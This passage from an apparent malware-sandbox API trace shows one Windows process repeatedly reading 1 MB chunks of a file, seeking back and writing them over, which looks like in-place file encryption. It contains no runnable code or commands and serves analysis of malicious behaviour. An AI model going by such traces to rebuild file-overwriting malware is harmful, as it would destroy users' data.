lpOverlapped=0x0) returned 1 [0062.811] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.835] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.835] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.838] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.853] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.853] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.856] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.868] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.868] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.946] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.970] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.970] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.986] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.042] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.042] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.044] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.060] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.060] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.063] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.255] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.255] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.259] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.283] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.283] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.290] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.302] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.302] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.305] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.333] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.333] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.336] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.352] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.352] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.355] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.370] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.370] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.373] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.476] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.476] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.485] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.596] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.597] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.613] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.703] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.703] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.790] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.804] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.804] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.839] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.896] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.896] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.899] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.910] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.910] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.913] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.950] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.950] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.953] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0063.980] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.980] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0063.983] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.009] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.010] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.073] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.100] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.100] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.103] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.142] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.143] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.145] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.155] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.156] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.198] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.239] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.239] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.243] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.253] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.253] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.256] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.305] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.305] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.308] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.321] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.321] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.324] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.354] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.354] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.373] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.389] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.389] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.392] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.428] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.429] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.431] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.444] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.444] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.446] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.484] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.484] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.486] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.497] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.497] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.499] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.524] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.524] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.526] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.547] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.547] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.550] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.577] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.577] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.595] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.607] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.607] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.609] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.632] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.632] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, 